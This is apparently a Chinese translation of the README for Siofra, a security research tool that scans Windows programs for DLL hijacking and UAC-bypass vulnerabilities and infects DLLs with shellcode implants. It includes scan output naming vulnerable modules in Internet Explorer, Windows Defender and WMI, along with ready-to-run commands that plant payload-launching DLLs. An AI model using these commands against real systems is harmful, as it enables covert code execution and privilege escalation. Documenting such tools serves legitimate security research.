Siofra 是一款旨在识别和利用 Windows 程序中 DLL 劫持漏洞的工具。它能够模拟 Windows 加载器,从而揭示磁盘上 PE 文件的所有依赖项(以及相应的漏洞),或者与活动进程相对应的内存中的映像文件。更重要的是,该工具能够通过动态 shellcode 生成的 PE 感染,轻松生成 DLL 以利用此类漏洞。这些被感染的 DLL 保留了 DLL 的代码(DllMain、导出函数)和资源,从而无缝保持加载它们的应用程序的功能,同时允许研究人员指定一个可执行载荷,作为独立进程运行或作为模块加载到目标中。此外,该工具还包含自动化方法,将 UAC 自动提升标准与上述功能相结合,以扫描 UAC 绕过漏洞。
目前,该工具暴露了大量漏洞。在测试该工具时,在我测试的数百个应用程序中,只有少数几个不存在漏洞。请注意,即使启用了 SafeDllSearchMode,这些漏洞仍可被利用。一个常见的误解是将“当前目录”(由 SafeDllSearchMode 修复)与“应用程序目录”(包含 .exe 本身的文件夹)混淆。目前 Windows 程序中的绝大多数 DLL 劫持漏洞都源于应用程序目录(它在 Windows 搜索顺序中排在第一位)。下面列出了该工具中扫描器生成的一些突出结果。这些漏洞最后一次测试是在 2017 年 7 月中旬。
Siofra64.exe --mode file-scan -f "c:\Program Files\Internet Explorer\iexplore.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Internet Explorer\iexplore.exe [64-bit PE] ======== iexplore.exe USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-core-privateprofile-l1-1-1.dll [API set] kernel32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] msvcrt.dll [KnownDLL] api-ms-win-downlevel-shell32-l1-1-0.dll [API set] shcore.dll [KnownDLL] RPCRT4.dll [KnownDLL] combase.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] iertutil.dll [!]
[!] Module iertutil.dll vulnerable at c:\Program Files\Internet Explorer\iertutil.dll (real path: C:\WINDOWS\system32\iertutil.dll)
Siofra64.exe --mode file-scan -f "c:\Program Files\Windows Defender\MpCmdRun.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Windows Defender\MpCmdRun.exe [64-bit PE] ======== MpCmdRun.exe msvcrt.dll [KnownDLL] KERNEL32.dll [KnownDLL] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] OLE32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] SspiCli.dll [!] mpclient.dll [!] CRYPT32.dll [Base] MSASN1.dll [Base] WINTRUST.dll [Base]
[!] Module SspiCli.dll vulnerable at c:\Program Files\Windows Defender\SspiCli.dll (real path: C:\WINDOWS\system32\SspiCli.dll)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\wbem\wmiprvse.exe" --enum-dependency --dll-hijack
======== c:\WINDOWS\System32\wbem\wmiprvse.exe [64-bit PE] ======== wmiprvse.exe msvcrt.dll [KnownDLL] FastProx.dll [!] wbemcomn.dll [!] bcrypt.dll [!] WS2_32.dll [KnownDLL] api-ms-win-eventing-obsolete-l1-1-0.dll [API set] sechost.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] NCObjAPI.DLL [!]
[!] Module wbemcomn.dll vulnerable at c:\WINDOWS\System32\wbem\wbemcomn.dll (real path: C:\WINDOWS\system32\wbemcomn.dll) [!] Module bcrypt.dll vulnerable at c:\WINDOWS\System32\wbem\bcrypt.dll (real path: C:\WINDOWS\system32\bcrypt.dll) [!] Module NCObjAPI.DLL vulnerable at c:\WINDOWS\System32\wbem\NCObjAPI.DLL (real path: C:\WINDOWS\system32\NCObjAPI.DLL)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\SearchProtocolHost.exe" --enum-dependency --dll-hijack --explicit-loadlibrary
======== c:\WINDOWS\System32\SearchProtocolHost.exe [64-bit PE] ======== SearchProtocolHost.exe msvcrt.dll [KnownDLL] TQUERY.DLL [!] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] bcryptPrimitives.dll [Base] cryptdll.dll [!] api-ms-win-security-lsalookup-l2-1-1.dll [API set] advapi32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] api-ms-win-shell-namespace-l1-1-0.dll [API set] windows.storage.dll [Base] api-ms-win-shlwapi-winrt-storage-l1-1-1.dll [API set] shlwapi.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-appmodel-state-l1-2-0.dll [API set] kernel.appcore.dll [Base] api-ms-win-shcore-path-l1-1-0.dll [API set] shcore.dll [KnownDLL] api-ms-win-power-base-l1-1-0.dll [API set] powrprof.dll [Base] profapi.dll [Base] msfte.dll [Potential explicit Unicode] [!] msTracer.dll [Potential explicit Unicode] [!] Msidle.dll [Potential explicit Unicode] [!] winhttp.dll [Potential explicit Unicode] [!]
[!] Module msfte.dll vulnerable at C:\WINDOWS\system32\msfte.dll (real path: Unknown) [!] Module msTracer.dll vulnerable at C:\WINDOWS\system32\msTracer.dll (real path: Unknown)
该工具的功能可分为 3 个独立类别,每个类别对应此工具的一种执行模式。
在感染模式下,该工具能够生成 32 位和 64 位 DLL 文件的感染副本。这些被感染的文件在进程初始化期间被加载时,能够劫持目标应用程序的执行流程,使得载荷 DLL 被加载或载荷可执行文件在目标应用程序入口点执行之前启动。
在文件扫描模式下,可以向该工具提供一个可执行文件路径或一个文件夹(将在其中搜索可执行文件,可选递归搜索),工具将递归地枚举并处理其 PE 导入、延迟加载导入、API 集、程序集依赖项和显式加载的库,以确定每个模块在运行时进程初始化期间将被加载的路径。凭借此信息,该工具能够识别易受劫持的模块。在 PE 处理和加载器模拟期间,该工具能够处理: 1. 使用主 PE 导入节导入的模块。 2. 通过延迟加载导入的模块。 3. WinSxS 程序集依赖项解析(解析 PE 清单资源,提取程序集依赖项 ID,并使用自定义实现识别 WinSxS 模块路径)。 4. 通过运行时 LoadLibrary 导入的显式加载模块。 5. 上述所有导入类型的 API 集解析。这是通过自定义实现的解析器来完成的,该解析器用于解析 ApiSetSchema.dll 中未文档化的数据结构(请注意,仅测试了版本 2、4 和 6)。 6. 按名称搜索特定导入模块。 7. 识别可被利用进行 UAC 绕过攻击的 Windows 组件(以自动化方式将 UAC 自动提升标准应用于指定目标 PE,如果存在劫持攻击,则与劫持攻击结合使用)。 8. 自动检测并筛选不存在漏洞的模块依赖项,依据如下: * KnownDLLs * 豁免(“Base”)DLL 状态。例如 Kernelbase.dll、ntdll.dll 等。 * 清单覆盖安全机制(Microsoft 在 sysprep.exe 中使用)
在内存扫描模式下,该工具可以枚举本地进程名称/ID,也可以指定一个进程 ID 进行扫描。该工具不会解析磁盘上与给定 PID 对应的映像文件,而是枚举当前加载到进程中的模块,并识别其中哪些可能易受劫持。这在磁盘上的可执行文件被加壳/混淆且无法通过解析 PE 头识别其导入时非常有用。
要显示工具使用信息,只需不带任何参数运行它(输出如下所示)。非常重要的一点是,根据目标是 32 位 PE 还是 64 位 PE 文件,为所需目标使用相应的工具编译版本(32 位或 64 位)。同样,32 位版本的工具只能枚举和/或定位 32 位进程(x64 操作系统上的 Wow64),而 64 位版本只能枚举和/或定位 64 位进程。此原则同时适用于扫描(Siofra64.exe 将跳过 32 位 PE,Siofra32.exe 将跳过 64 位 PE)和 PE 感染。Siofra32.exe 应用于感染 32 位 DLL,Siofra64.exe 应用于感染 64 位 DLL。
当 32 位版本的工具在 x64 系统上运行时,工具会显式禁用 Wow64 路径重定向,这意味着如果你以 \Windows\System32\notepad.exe 为目标,它将是一个 64 位 PE(因此应改用 \Windows\Syswow64\notepad.exe)。类似地,如果你以 \Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe 为目标,它将是一个 64 位 PE,因此应改用 \Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe。
Siofra version 1.13 usage: Siofra32.exe --mode [Supported modes: "file-scan", "mem-scan" and "infect"] -v [Optional. Output verbosity level] Verbosity levels: 0 - No output 1 - Only critical success/failure status (default) 2 - Additional status details for success/failure status, including discarded PEs 3 - Everything File scan mode: -f [File or directory to scan] -r [Optional. Recursive scan] --signed [Optional. Process only signed binaries] --delayload [Optional. Include delayload imports in dependency list] --explicit-loadlibrary [Optional. Include potentially explicit imports in dependency list (these are *.dll strings which may have been called via LoadLibrary(Ex)A/W] --auto-elevate [Optional. Scan only auto-elevate binaries] Memory scan mode: --pid [Target process ID to scan. When not specified, a list of either 32 or 64-bit process names/PIDs will be enumerated (corresponding to either the 32 or 64-bit version of this tool)] Any scan mode: --enum-dependency [Enumerate dependencies] --show-unmapped-apiset [Optional. Include API sets which failed to map to a module from output (ignored by default)] --dll-hijack [Enumerate DLL hijacking vulns] --find-module [Optional. Scan dependencies for a specific module. Note that this excludes KnownDLLs] Infect mode: -f [DLL file to infect] -o [Output file] --payload-path [Path of DLL to be loaded into infected DLL at runtime, or path of executable to be launched at runtime] --payload-type [The type of payload specified in the parasite payload path. This can be "process" (generally indicating a exe) or "library" (generally indicating a DLL)]
扫描整个主驱动器,查找通过其 PE 头中的标准或延迟加载导入而存在 DLL 劫持漏洞的 32 位程序。
Siofra32.exe --mode file-scan -f "C:/" -r --enum-dependency --dll-hijack --delayload
在 x64 版本的 Windows 上扫描 Windows Defender 应用程序文件夹,查找通过其 PE 头中的标准导入表加载的易受攻击模块。
Siofra64.exe --mode file-scan -f "C:\Program Files\Windows Defender" -r --enum-dependency --dll-hijack
在 x64 版本的 Windows 上扫描 32 位 Java 更新计划程序,查找通过任何已知渠道(标准或延迟加载导入、WinSxS、LoadLibrary)加载的易受攻击模块。
Siofra32.exe --mode file-scan -f "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe" --enum-dependency --dll-hijack --delayload --explicit-loadlibrary
扫描 Windows 文件夹(及其所有子文件夹),查找 64 位程序中通过 PE 头中的标准导入表导入的易受攻击模块,这些模块可能被用于 UAC 绕过攻击(由 Microsoft 签名且带有自动提升清单)。
Siofra64.exe --mode file-scan -f "C:\Windows" -r --enum-dependency --dll-hijack --auto-elevate --signed
使用一个植入物感染 32 位 WININET.dll 副本(从 \Windows\SysWOW64\WININET.dll 复制到 .\WININET_original.dll),该植入物在易受攻击的程序在进程初始化期间加载此 DLL 时,会启动一个新的记事本进程。需要注意的是,仅加载此 DLL 的受感染副本(例如通过 LoadLibrary)不会触发载荷。被感染的 DLL 仅在通过宿主进程的标准导入节加载的易受攻击模块的上下文中起作用。
Siofra32.exe --mode infect -f WININET_original.dll -o WININET.dll --payload-type process --payload-path c:\windows\system32\notepad.exe
使用一个植入物感染 64 位 USERENV.dll 副本(从 \Windows\System32\USERENV.dll 复制到 .\USERENV_original.dll),该植入物将加载存储在 C:\Payload.dll 的假设载荷 DLL。需要注意的是,64 位进程加载的所有 DLL 必须是 64 位 DLL,32 位进程加载的所有 DLL 必须是 32 位 DLL。因此,在这种假设场景中,Payload.dll 需要是 64 位 PE 文件,才能被 USERENV.dll 中的植入物成功加载。
Siofra64.exe --mode infect -f USERENV_original.dll -o USERENV.dll --payload-type library --payload-path "C:\Payload.dll"
我决定将该工具的部分代码开源,以帮助其他安全研究人员了解该项目的技术细节。具体来说,我提供了一个 64 位植入 shellcode 的汇编源代码(用于指定“process”载荷类型时的 64 位 PE DLL 感染)。
有关该工具其他技术方面的详细信息,以及与 Windows 加载器/搜索顺序、UAC、WinSxS 等相关的操作系统详细信息,可在本项目的 PDF 中找到。
Siofra 根据 GPL 3 许可证授权。有关详细信息,请参阅 LICENSE.MD。
Forrest Williams - [email protected] / [email protected]